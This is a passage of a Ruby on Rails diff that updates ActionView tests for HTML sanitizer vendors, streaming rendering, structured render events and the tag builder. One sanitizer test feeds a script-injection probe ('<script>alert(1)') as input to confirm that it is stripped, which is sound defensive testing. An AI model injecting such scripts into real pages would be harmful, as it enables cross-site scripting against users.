   tests ActionView::Helpers::SanitizeHelper
 
-  def test_strip_links
-    assert_equal "Dont touch me", strip_links("Dont touch me")
-    assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
-    assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
-    assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+  def setup
+    super
+    @saved_vendor = ActionView::Helpers::SanitizeHelper.sanitizer_vendor
+    @mock_vendor = ActionView::Helpers::SanitizeHelper.sanitizer_vendor = new_mock_vendor
+  end
+
+  def teardown
+    ActionView::Helpers::SanitizeHelper.sanitizer_vendor = @saved_vendor
+    super
+  end
+
+  test "sanitizer_vendor module attribute and class method" do
+    assert_equal(@mock_vendor, ActionView::Helpers::SanitizeHelper.sanitizer_vendor)
+    assert_equal(@mock_vendor, self.class.sanitizer_vendor)
+
+    vendor2 = ActionView::Helpers::SanitizeHelper.sanitizer_vendor = new_mock_vendor
+
+    assert_equal(vendor2, ActionView::Helpers::SanitizeHelper.sanitizer_vendor)
+    assert_equal(vendor2, self.class.sanitizer_vendor)
+  end
+
+  test "full_sanitizer is memoized" do
+    result1 = self.class.full_sanitizer
+    result2 = self.class.full_sanitizer
+
+    assert_same(result1, result2)
+  end
+
+  test "link_sanitizer is memoized" do
+    result1 = self.class.link_sanitizer
+    result2 = self.class.link_sanitizer
+
+    assert_same(result1, result2)
+  end
+
+  test "safe_list_sanitizer is memoized" do
+    result1 = self.class.safe_list_sanitizer
+    result2 = self.class.safe_list_sanitizer
+
+    assert_same(result1, result2)
+  end
+
+  test "full_sanitizer is settable" do
+    saved_sanitizer = self.class.full_sanitizer
+
+    mock_sanitizer = @mock_vendor.new_mock_sanitizer("walrus")
+    self.class.full_sanitizer = mock_sanitizer
+
+    assert_equal(mock_sanitizer, self.class.full_sanitizer)
+  ensure
+    self.class.full_sanitizer = saved_sanitizer
+  end
+
+  test "link_sanitizer is settable" do
+    saved_sanitizer = self.class.link_sanitizer
+
+    mock_sanitizer = @mock_vendor.new_mock_sanitizer("walrus")
+    self.class.link_sanitizer = mock_sanitizer
+
+    assert_equal(mock_sanitizer, self.class.link_sanitizer)
+  ensure
+    self.class.link_sanitizer = saved_sanitizer
+  end
+
+  test "safe_list_sanitizer is settable" do
+    saved_sanitizer = self.class.safe_list_sanitizer
+
+    mock_sanitizer = @mock_vendor.new_mock_sanitizer("walrus")
+    self.class.safe_list_sanitizer = mock_sanitizer
+
+    assert_equal(mock_sanitizer, self.class.safe_list_sanitizer)
+  ensure
+    self.class.safe_list_sanitizer = saved_sanitizer
+  end
+
+  test "full_sanitizer returns an instance of the class returned by vendor full_sanitizer" do
+    assert_equal("full_sanitizer", self.class.full_sanitizer.injected_name)
+  end
+
+  test "link_sanitizer returns an instance of the class returned by vendor link_sanitizer" do
+    assert_equal("link_sanitizer", self.class.link_sanitizer.injected_name)
+  end
+
+  test "safe_list_sanitizer returns an instance of the class returned by vendor safe_list_sanitizer" do
+    assert_equal("safe_list_sanitizer", self.class.safe_list_sanitizer.injected_name)
+  end
+
+  test "sanitize calls sanitize on the safe_list_sanitizer" do
+    assert_equal(
+      "safe_list_sanitizer#sanitize / asdf / {}",
+      self.sanitize("asdf"),
+    )
+    assert_equal(
+      "safe_list_sanitizer#sanitize / asdf / #{{ tags: ["a", "b"] }}",
+      self.sanitize("asdf", tags: ["a", "b"]),
+    )
+    assert_predicate(self.sanitize("asdf"), :html_safe?)
+  end
+
+  test "sanitize_css calls sanitize_css on the safe_list_sanitizer" do
+    assert_equal("safe_list_sanitizer#sanitize_css / asdf", self.sanitize_css("asdf"))
+  end
+
+  test "strip_tags calls sanitize on the full_sanitizer" do
+    assert_equal(
+      "full_sanitizer#sanitize / asdf / {}",
+      self.strip_tags("asdf"),
+    )
+    assert_predicate(self.strip_tags("asdf"), :html_safe?)
+  end
+
+  test "strip_links calls sanitize on the link_sanitizer" do
+    assert_equal(
+      "link_sanitizer#sanitize / asdf / {}",
+      self.strip_links("asdf"),
+    )
+    assert_not_predicate(self.strip_links("asdf"), :html_safe?)
+  end
+
+  private
+    def new_mock_vendor
+      Class.new do
+        class << self
+          def full_sanitizer
+            new_mock_sanitizer("full_sanitizer")
+          end
+
+          def link_sanitizer
+            new_mock_sanitizer("link_sanitizer")
+          end
+
+          def safe_list_sanitizer
+            new_mock_sanitizer("safe_list_sanitizer").tap do |sanitizer|
+              sanitizer.class_eval do
+                def sanitize_css(style)
+                  "safe_list_sanitizer#sanitize_css / #{style}"
+                end
+              end
+            end
+          end
+
+          def new_mock_sanitizer(injected_name)
+            Class.new do
+              define_method :injected_name do
+                injected_name
+              end
+
+              def sanitize(html, options = {})
+                "#{injected_name}#sanitize / #{html} / #{options}"
+              end
+            end
+          end
+        end
+      end
+    end
+end
+
+#
+#  Test suite for interactions with each supported sanitizer vendor. Exercise the basic API and
+#  behavior of the vendor and its sanitizers.
+#
+#  We don't want to do exhaustive HTML sanitization testing here. Let's assume it's already being
+#  done upstream by the vendor.
+#
+#  Note that Rails::Html::Sanitizer and Rails::HTML4::Sanitizer are identical vendors (but aren't
+#  the same class). Eventually we will move away from using Rails::Html (a.k.a Rails::HTML), but
+#  for now we should make sure everything works as expected by testing it.
+#
+module SanitizeHelperVendorTests
+  def setup
+    super
+    @saved_vendor = ActionView::Helpers::SanitizeHelper.sanitizer_vendor
+    ActionView::Helpers::SanitizeHelper.sanitizer_vendor = vendor
+
+    @subject_class = Class.new do
+      include ActionView::Helpers::SanitizeHelper
+    end
+    @subject = @subject_class.new
+  end
+
+  def teardown
+    ActionView::Helpers::SanitizeHelper.sanitizer_vendor = @saved_vendor
+    super
+  end
+
+  def test_full_sanitizer_returns_a_sanitizer
+    sanitizer = @subject_class.full_sanitizer
+
+    assert_equal(vendor.full_sanitizer, sanitizer.class)
+    assert_respond_to(sanitizer, :sanitize)
+  end
+
+  def test_link_sanitizer_returns_a_sanitizer
+    sanitizer = @subject_class.link_sanitizer
+
+    assert_equal(vendor.link_sanitizer, sanitizer.class)
+    assert_respond_to(sanitizer, :sanitize)
+  end
+
+  def test_safe_list_sanitizer_returns_a_sanitizer
+    sanitizer = @subject_class.safe_list_sanitizer
+
+    assert_equal(vendor.safe_list_sanitizer, sanitizer.class)
+    assert_respond_to(sanitizer, :sanitize)
+  end
+
+  def test_full_sanitizer_is_settable
+    @subject_class.full_sanitizer = :mock
+    result = @subject_class.full_sanitizer
+
+    assert_same(:mock, result)
+  end
+
+  def test_link_sanitizer_is_settable
+    @subject_class.link_sanitizer = :mock
+    result = @subject_class.link_sanitizer
+
+    assert_same(:mock, result)
+  end
+
+  def test_safe_list_sanitizer_is_settable
+    @subject_class.safe_list_sanitizer = :mock
+    result = @subject_class.safe_list_sanitizer
+
+    assert_same(:mock, result)
+  end
+
+  def test_deprecated_methods_are_supported
+    assert_respond_to(vendor, :white_list_sanitizer)
+  end
+
+  def test_sanitized_allowed_tags_returns_a_string_collection
+    result = @subject_class.sanitized_allowed_tags
+
+    assert_kind_of(Enumerable, result)
+    assert_kind_of(String, result.first)
   end
 
-  def test_sanitize_form
-    assert_equal "", sanitize("<form action=\"/foo/bar\" method=\"post\"><input></form>")
+  def test_sanitized_allowed_attributes_returns_a_string_collection
+    result = @subject_class.sanitized_allowed_attributes
+
+    assert_kind_of(Enumerable, result)
+    assert_kind_of(String, result.first)
+  end
+
+  def test_sanitized_allowed_tags_is_settable
+    saved_value = @subject_class.sanitized_allowed_tags
+    @subject_class.sanitized_allowed_tags = ["a", "b"]
+    result = @subject_class.sanitized_allowed_tags
+
+    assert_equal(["a", "b"], result)
+  ensure
+    # We need to undo this because allowed tags and attributes are stored as globals in class
+    # attributes on Rails::HTML*::SafeListSanitizer.
+    @subject_class.sanitized_allowed_tags = saved_value
   end
 
-  def test_should_sanitize_illegal_style_properties
-    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
-    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-x: center; background-y: center;)
-    assert_equal expected, sanitize_css(raw)
+  def test_sanitized_allowed_attributes_is_settable
+    saved_value = @subject_class.sanitized_allowed_attributes
+    @subject_class.sanitized_allowed_attributes = ["a", "b"]
+    result = @subject_class.sanitized_allowed_attributes
+
+    assert_equal(["a", "b"], result)
+  ensure
+    # We need to undo this because allowed tags and attributes are stored as globals in class
+    # attributes on Rails::HTML*::SafeListSanitizer.
+    @subject_class.sanitized_allowed_attributes = saved_value
+  end
+
+  def test_sanitize
+    input = %(<div><script>alert(1);</script><a href="http://www.example.com/">Example</a> of a fragment</div>)
+    result = @subject.sanitize(input)
+
+    assert_not_includes(result, "script")
+  end
+
+  def test_sanitize_with_tags_option
+    input = %(<b>bold</b> <i>italic</i> <div>hello</div>)
+
+    assert_equal("<b>bold</b> <i>italic</i> hello", @subject.sanitize(input, tags: %w(b i)))
+    assert_equal("bold italic <div>hello</div>", @subject.sanitize(input, tags: %w(div)))
+  end
+
+  def test_sanitize_with_attributes_option
+    input = %(<div a="1" b="2" c="3">hello</div>)
+
+    assert_equal(%(<div a="1" b="2">hello</div>), @subject.sanitize(input, attributes: %w(a b)))
+    assert_equal(%(<div b="2" c="3">hello</div>), @subject.sanitize(input, attributes: %w(b c)))
+  end
+
+  def test_sanitize_with_loofah_scrubber_option
+    input = %(<div>hello</div>)
+    scrubber = Loofah::Scrubber.new do |node|
+      node.content = "scrubbed"
+    end
+
+    assert_equal(%(<div>scrubbed</div>), @subject.sanitize(input, scrubber: scrubber))
+  end
+
+  def test_sanitize_with_custom_scrubber_option
+    scrubber = Class.new(Rails::HTML::PermitScrubber) do
+      def initialize
+        super
+        self.tags = ["div"]
+      end
+    end.new
+
+    input = %(<div>hello</div><p>world</p>)
+
+    assert_equal(%(<div>hello</div>world), @subject.sanitize(input, scrubber: scrubber))
+  end
+
+  def test_sanitize_css
+    input = %(width: 100%; background-image:url("http://www.example.com/"); height: 100%;)
+    result = @subject.sanitize_css(input)
+
+    assert_not_includes(result, "background-image")
+    assert_includes(result, "width")
+    assert_includes(result, "height")
   end
 
   def test_strip_tags
-    assert_equal("Dont touch me", strip_tags("Dont touch me"))
-    assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
-    assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
-    assert_equal "", strip_tags("<script>")
+    input = %(<div><a href="http://www.example.com/">Example</a> of a fragment</div>)
+    result = @subject.strip_tags(input)
+
+    assert_equal("Example of a fragment", result)
   end
 
-  def test_strip_tags_will_not_encode_special_characters
-    assert_equal "test\r\n\r\ntest", strip_tags("test\r\n\r\ntest")
+  def test_strip_links
+    input = %(<div><a href="http://www.example.com/">Example</a> of a fragment</div>)
+    result = @subject.strip_links(input)
+
+    assert_equal("<div>Example of a fragment</div>", result)
+  end
+
+  def test_we_get_the_expected_HTML_parser
+    # see https://html.spec.whatwg.org/multipage/parsing.html#misnested-tags:-b-i-/b-/i
+    input = %(<p>1<b>2<i>3</b>4</i>5</p>)
+    scrubber = Loofah::Scrubber.new { |_| } # no-op, we're checking the underlying parser here
+
+    expected = if vendor == Rails::Html::Sanitizer || vendor == Rails::HTML4::Sanitizer
+      if RUBY_ENGINE == "jruby"
+        "<p>1<b>2<i>3</i></b><i>4</i>5</p>" # nekohtml parser
+      else
+        "<p>1<b>2<i>3</i></b>45</p>" # libxml2 html4 parser
+      end
+    elsif vendor == Rails::HTML5::Sanitizer
+      "<p>1<b>2<i>3</i></b><i>4</i>5</p>" # libgumbo html5 parser
+    else
+      flunk "Unknown vendor #{vendor}"
+    end
+
+    assert_equal(expected, @subject.sanitize(input, scrubber: scrubber))
+  end
+end
+
+class SanitizeHelperVendorHtmlTest < ActiveSupport::TestCase
+  include SanitizeHelperVendorTests
+
+  def vendor
+    Rails::Html::Sanitizer
   end
+end
+
+class SanitizeHelperVendorHTML4Test < ActiveSupport::TestCase
+  include SanitizeHelperVendorTests
 
-  def test_sanitize_is_marked_safe
-    assert sanitize("<html><script></script></html>").html_safe?
+  def vendor
+    Rails::HTML4::Sanitizer
   end
 end
+
+class SanitizeHelperVendorHTML5Test < ActiveSupport::TestCase
+  include SanitizeHelperVendorTests
+
+  def vendor
+    Rails::HTML5::Sanitizer
+  end
+end if Rails::HTML::Sanitizer.html5_support?
diff --git a/actionview/test/template/streaming_render_test.rb b/actionview/test/template/streaming_render_test.rb
index 6ce66a1275962..f0e7ec1241e2a 100644
--- a/actionview/test/template/streaming_render_test.rb
+++ b/actionview/test/template/streaming_render_test.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TestController < ActionController::Base
 end
 
-class FiberedTest < ActiveSupport::TestCase
+class SetupFiberedBase < ActiveSupport::TestCase
   def setup
+    ActionView::LookupContext::DetailsKey.clear
+
     view_paths = ActionController::Base.view_paths
+
     @assigns = { secret: "in the sauce", name: nil }
-    @view = ActionView::Base.new(view_paths, @assigns)
+    @view = ActionView::Base.with_empty_template_cache.with_view_paths(view_paths, @assigns)
     @controller_view = TestController.new.view_context
   end
 
@@ -17,13 +22,15 @@ def render_body(options)
 
   def buffered_render(options)
     body = render_body(options)
-    string = ""
+    string = +""
     body.each do |piece|
       string << piece
     end
     string
   end
+end
 
+class FiberedTest < SetupFiberedBase
   def test_streaming_works
     content = []
     body = render_body(template: "test/hello_world", layout: "layouts/yield")
@@ -40,12 +47,7 @@ def test_streaming_works
   end
 
   def test_render_file
-    assert_equal "Hello world!", buffered_render(file: "test/hello_world")
-  end
-
-  def test_render_file_with_locals
-    locals = { secret: "in the sauce" }
-    assert_equal "The secret is in the sauce\n", buffered_render(file: "test/render_file_with_locals", locals: locals)
+    assert_equal "Hello world!", buffered_render(file: File.absolute_path("../fixtures/test/hello_world.erb", __dir__))
   end
 
   def test_render_partial
@@ -109,3 +111,20 @@ def test_render_with_streaming_and_capture
       buffered_render(template: "test/streaming", layout: "layouts/streaming_with_capture")
   end
 end
+
+class FiberedWithLocaleTest < SetupFiberedBase
+  def setup
+    @old_locale = I18n.locale
+    I18n.locale = "da"
+    super
+  end
+
+  def teardown
+    I18n.locale = @old_locale
+  end
+
+  def test_render_with_streaming_and_locale
+    assert_equal "layout.locale: da\nview.locale: da\n\n",
+      buffered_render(template: "test/streaming_with_locale", layout: "layouts/streaming_with_locale")
+  end
+end
diff --git a/actionview/test/template/structured_event_subscriber_test.rb b/actionview/test/template/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..9e079220c337d
--- /dev/null
+++ b/actionview/test/template/structured_event_subscriber_test.rb
@@ -0,0 +1,353 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
+require "action_view/structured_event_subscriber"
+require "controller/fake_models"
+
+module ActionView
+  class StructuredEventSubscriberTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    def setup
+      super
+
+      ActionView::LookupContext::DetailsKey.clear
+
+      view_paths = ActionController::Base.view_paths
+
+      lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
+      @view          = ActionView::Base.with_empty_template_cache.with_context(lookup_context)
+
+      unless Rails.respond_to?(:root)
+        @defined_root = true
+        Rails.define_singleton_method(:root) { :defined_root } # Minitest `stub` expects the method to be defined.
+      end
+    end
+
+    def teardown
+      super
+      ActionController::Base.view_paths.map(&:clear_cache)
+
+      # We need to undef `root`, RenderTestCases don't want this to be defined
+      Rails.instance_eval { undef :root } if defined?(@defined_root)
+    end
+
+    def test_render_template
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        with_debug_event_reporting do
+          assert_event_reported("action_view.render_start", payload: { identifier: "test/hello_world.erb", layout: nil }) do
+            event = assert_event_reported("action_view.render_template", payload: { identifier: "test/hello_world.erb", layout: nil }) do
+              @view.render(template: "test/hello_world")
+            end
+
+            assert(event[:payload][:gc_ms] >= 0)
+            assert(event[:payload][:duration_ms] >= 0)
+          end
+        end
+      end
+    end
+
+    def test_render_template_with_layout
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        with_debug_event_reporting do
+          payload = { identifier: "test/hello_world.erb", layout: "layouts/yield" }
+          assert_event_reported("action_view.render_start", payload:) do
+            event = assert_event_reported("action_view.render_template", payload:) do
+              @view.render(template: "test/hello_world", layout: "layouts/yield")
+            end
+
+            assert(event[:payload][:gc_ms] >= 0)
+            assert(event[:payload][:duration_ms] >= 0)
+          end
+        end
+      end
+    end
+
+    def test_render_file_template
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        with_debug_event_reporting do
+          assert_event_reported("action_view.render_start", payload: { identifier: "test/hello_world.erb", layout: nil }) do
+            event = assert_event_reported("action_view.render_template", payload: { identifier: "test/hello_world.erb", layout: nil }) do
+              @view.render(file: "#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
+            end
+
+            assert(event[:payload][:gc_ms] >= 0)
+            assert(event[:payload][:duration_ms] >= 0)
+          end
+        end
+      end
+    end
+
+    def test_render_text_template
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        with_debug_event_reporting do
+          assert_event_reported("action_view.render_start", payload: { identifier: "text template", layout: nil }) do
+            event = assert_event_reported("action_view.render_template", payload: { identifier: "text template", layout: nil }) do
+              @view.render(plain: "TEXT")
+            end
+
+            assert(event[:payload][:gc_ms] >= 0)
+            assert(event[:payload][:duration_ms] >= 0)
+          end
+        end
+      end
+    end
+
+    def test_render_inline_template
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        with_debug_event_reporting do
+          assert_event_reported("action_view.render_start", payload: { identifier: "inline template", layout: nil }) do
+            event = assert_event_reported("action_view.render_template", payload: { identifier: "inline template", layout: nil }) do
+              @view.render(inline: "<%= 'TEXT' %>")
+            end
+
+            assert(event[:payload][:gc_ms] >= 0)
+            assert(event[:payload][:duration_ms] >= 0)
+          end
+        end
+      end
+    end
+
+    def test_render_partial_with_implicit_path
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        with_debug_event_reporting do
+          payload = { identifier: "customers/_customer.html.erb", layout: nil, cache_hit: nil }
+          event = assert_event_reported("action_view.render_partial", payload:) do
+            @view.render(Customer.new("david"), greeting: "hi")
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_partial_with_cache_is_missed
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          payload = { identifier: "test/_cached_customer.erb", layout: nil, cache_hit: :miss }
+          event = assert_event_reported("action_view.render_partial", payload:) do
+            @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_partial_with_cache_is_hit
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+
+        with_debug_event_reporting do
+          payload = { identifier: "test/_cached_customer.erb", layout: nil, cache_hit: :hit }
+          event = assert_event_reported("action_view.render_partial", payload:) do
+            # Second render should hit cache.
+            @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_partial_as_layout
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_partial", payload: { identifier: "layouts/_yield_only.erb", layout: nil }) do
+            @view.render(layout: "layouts/yield_only") { "hello" }
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_partial_with_layout
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          payload = { identifier: "test/_partial.html.erb", layout: "layouts/_yield_only" }
+          event = assert_event_reported("action_view.render_partial", payload:) do
+            @view.render(partial: "partial", layout: "layouts/yield_only")
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_uncached_outer_partial_with_inner_cached_partial_wont_mix_cache_hits_or_misses
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_customer.erb", layout: nil }) do
+            @view.render(partial: "test/nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+
+          payload = { identifier: "test/_cached_customer.erb", layout: nil, cache_hit: :hit }
+          event = assert_event_reported("action_view.render_partial", payload:) do
+            # Second render hits the cache for the _cached_customer partial. Outer template's log shouldn't be affected.
+            @view.render(partial: "test/nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_cached_outer_partial_with_cached_inner_partial
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_customer.erb", layout: nil }) do
+            assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_nested_cached_customer.erb", layout: nil, cache_hit: :miss }) do
+              @view.render(partial: "test/cached_nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+            end
+          end
+
+          # One render: inner partial skipped, because the outer has been cached.
+          assert_no_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_customer.erb", layout: nil }) do
+            assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_nested_cached_customer.erb", layout: nil, cache_hit: :hit }) do
+              @view.render(partial: "test/cached_nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+            end
+          end
+        end
+      end
+    end
+
+    def test_render_partial_with_cache_hit_and_missed
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_customer.erb", layout: nil, cache_hit: :miss }) do
+            @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+          end
+          assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_customer.erb", layout: nil, cache_hit: :hit }) do
+            @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+          end
+
+          assert_event_reported("action_view.render_partial", payload: { identifier: "test/_cached_customer.erb", layout: nil, cache_hit: :miss }) do
+            @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("Stan") })
+          end
+        end
+      end
+    end
+
+    def test_render_collection_template
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_collection", payload: { identifier: "test/_customer.erb", layout: nil, cache_hits: nil, count: 2 }) do
+            @view.render(partial: "test/customer", collection: [ Customer.new("david"), Customer.new("mary") ])
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_collection_template_with_layout
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_collection", payload: { identifier: "test/_customer.erb", layout: "layouts/_yield_only", cache_hits: nil, count: 2 }) do
+            @view.render(partial: "test/customer", layout: "layouts/yield_only", collection: [ Customer.new("david"), Customer.new("mary") ])
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_collection_with_implicit_path
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_collection", payload: { identifier: "customers/_customer.html.erb", layout: nil, cache_hits: nil, count: 2 }) do
+            @view.render([ Customer.new("david"), Customer.new("mary") ], greeting: "hi")
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_collection_template_without_path
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_collection", payload: { identifier: "templates", layout: nil, cache_hits: nil, count: 2 }) do
+            @view.render([ GoodCustomer.new("david"), Customer.new("mary") ], greeting: "hi")
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    def test_render_collection_with_cached_set
+      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+        set_view_cache_dependencies
+        set_cache_controller
+
+        with_debug_event_reporting do
+          event = assert_event_reported("action_view.render_collection", payload: { identifier: "customers/_customer.html.erb", layout: nil, cache_hits: 0, count: 2 }) do
+            @view.render(partial: "customers/customer", collection: [ Customer.new("david"), Customer.new("mary") ], cached: true,
+              locals: { greeting: "hi" })
+          end
+
+          assert(event[:payload][:gc_ms] >= 0)
+          assert(event[:payload][:duration_ms] >= 0)
+        end
+      end
+    end
+
+    private
+      def set_cache_controller
+        controller = ActionController::Base.new
+        controller.perform_caching = true
+        controller.cache_store = ActiveSupport::Cache::MemoryStore.new
+        @view.controller = controller
+      end
+
+      def set_view_cache_dependencies
+        def @view.view_cache_dependencies; []; end
+        def @view.combined_fragment_cache_key(*); "ahoy_2 `controller` dependency"; end
+      end
+  end
+end
diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb
index f1e5946e14a95..2c13fe101fe3e 100644
--- a/actionview/test/template/tag_helper_test.rb
+++ b/actionview/test/template/tag_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TagHelperTest < ActionView::TestCase
@@ -5,6 +7,9 @@ class TagHelperTest < ActionView::TestCase
 
   tests ActionView::Helpers::TagHelper
 
+  COMMON_DANGEROUS_CHARS = "&<>\"' %*+,/;=^|"
+  INVALID_TAG_CHARS = "> /"
+
   def test_tag
     assert_equal "<br />", tag("br")
     assert_equal "<br clear=\"left\" />", tag(:br, clear: "left")
@@ -22,7 +27,36 @@ def test_tag_builder_void_tag
   end
 
   def test_tag_builder_void_tag_with_forced_content
-    assert_equal "<br>some content</br>", tag.br("some content")
+    assert_raises(ArgumentError) do
+      tag.br("some content")
+    end
+  end
+
+  def test_tag_builder_void_tag_with_empty_content
+    assert_raises(ArgumentError) do
+      tag.br("")
+    end
+  end
+
+  def test_tag_builder_self_closing_tag
+    assert_equal "<svg><use href=\"#cool-icon\" /></svg>", tag.svg { tag.use("href" => "#cool-icon") }
+    assert_equal "<svg><circle cx=\"5\" cy=\"5\" r=\"5\" /></svg>", tag.svg { tag.circle(cx: "5", cy: "5", r: "5") }
+    assert_equal "<animateMotion dur=\"10s\" repeatCount=\"indefinite\" />", tag.animate_motion(dur: "10s", repeatCount: "indefinite")
+  end
+
+  def test_tag_builder_self_closing_tag_with_content
+    assert_equal "<svg><circle r=\"5\"><desc>A circle</desc></circle></svg>", tag.svg { tag.circle(r: "5") { tag.desc "A circle" } }
+  end
+
+  def test_tag_builder_defines_methods_to_build_html_elements
+    assert_respond_to tag, :div
+    assert_includes tag.public_methods, :div
+  end
+
+  def test_tag_builder_renders_unknown_html_elements
+    assert_respond_to tag, :turbo_frame
+
+    assert_equal "<turbo-frame id=\"rendered\">Rendered</turbo-frame>", tag.turbo_frame("Rendered", id: "rendered")
   end
 
   def test_tag_builder_is_singleton
@@ -35,6 +69,24 @@ def test_tag_options
     assert_match(/class="elsewhere"/, str)
   end
 
+  def test_tag_options_with_array_of_numeric
+    str = tag(:input, value: [123, 456])
+
+    assert_equal("<input value=\"123 456\" />", str)
+  end
+
+  def test_tag_options_with_array_of_random_objects
+    klass = Class.new do
+      def to_s
+        "hello"
+      end
+    end
+
+    str = tag(:input, value: [klass.new])
+
+    assert_equal("<input value=\"hello\" />", str)
+  end
+
   def test_tag_options_rejects_nil_option
     assert_equal "<p />", tag("p", ignored: nil)
   end
@@ -68,35 +120,123 @@ def test_tag_options_accepts_integer_option_when_not_escaping
   end
 
   def test_tag_options_converts_boolean_option
-    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" />',
-      tag("p", disabled: true, itemscope: true, multiple: true, readonly: true, allowfullscreen: true, seamless: true, typemustmatch: true, sortable: true, default: true, inert: true, truespeed: true)
